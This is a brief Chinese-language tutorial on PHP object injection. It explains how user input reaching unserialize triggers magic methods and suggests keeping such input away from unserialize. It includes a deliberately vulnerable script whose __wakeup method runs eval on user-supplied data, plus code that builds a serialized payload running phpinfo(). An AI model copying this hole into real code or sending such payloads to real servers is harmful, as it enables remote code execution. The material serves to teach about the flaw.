php对象注入漏洞简介
漏洞原理
理解php对象注入,需要了解基本的php面向对象编程的概念和php中的魔术方法。可以参考理解php对象注入,文中练习代码可以在这里下载
用户可控的数据进入了unserialize函数进行对象重建,通常通过(但不限于)魔术方法进行利用
利用方式
通常利用wakeup或destruct魔幻方法有关,但还有很多其他常见注入点。
修复方案
避免用户可控的输入进入unserialize函数
漏洞代码
<?php
class RunCode
{
public $code;
function __construct()
{
}
function __wakeup()
{
if(isset($this->code))
{
eval($this->code);
}
}
}
if(isset($_REQUEST['array']))
{
$var1=unserialize($_REQUEST['array']);
if(is_array($var1))
{
echo "<br/>First Element: ".$var1[0];
}
}
else
{
echo "Array parameter is missing";
}
?>
unserialize对象的时候,会执行wakeup方法。而wakeup方法存在危险的eval函数。
对应的序列化数据的代码:
class RunCode
{
// 类数据
public $age = 0;
public $code = '';
// 输出数据
public function PrintData()
{
echo 'User ' . $this->code . ' is ' . $this->age
. ' years old. <br />';
}
}
// 创建一个对象
$usr = new RunCode();
// 设置数据
$usr->code = 'phpinfo();';
// $usr->name = 'John';
// 输出数据
$usr->PrintData();
// 输出序列化之后的数据
echo serialize($usr);
生成的序列化数据为:O:7:"RunCode":2:{s:3:"age";i:0;s:4:"code";s:10:"phpinfo();";}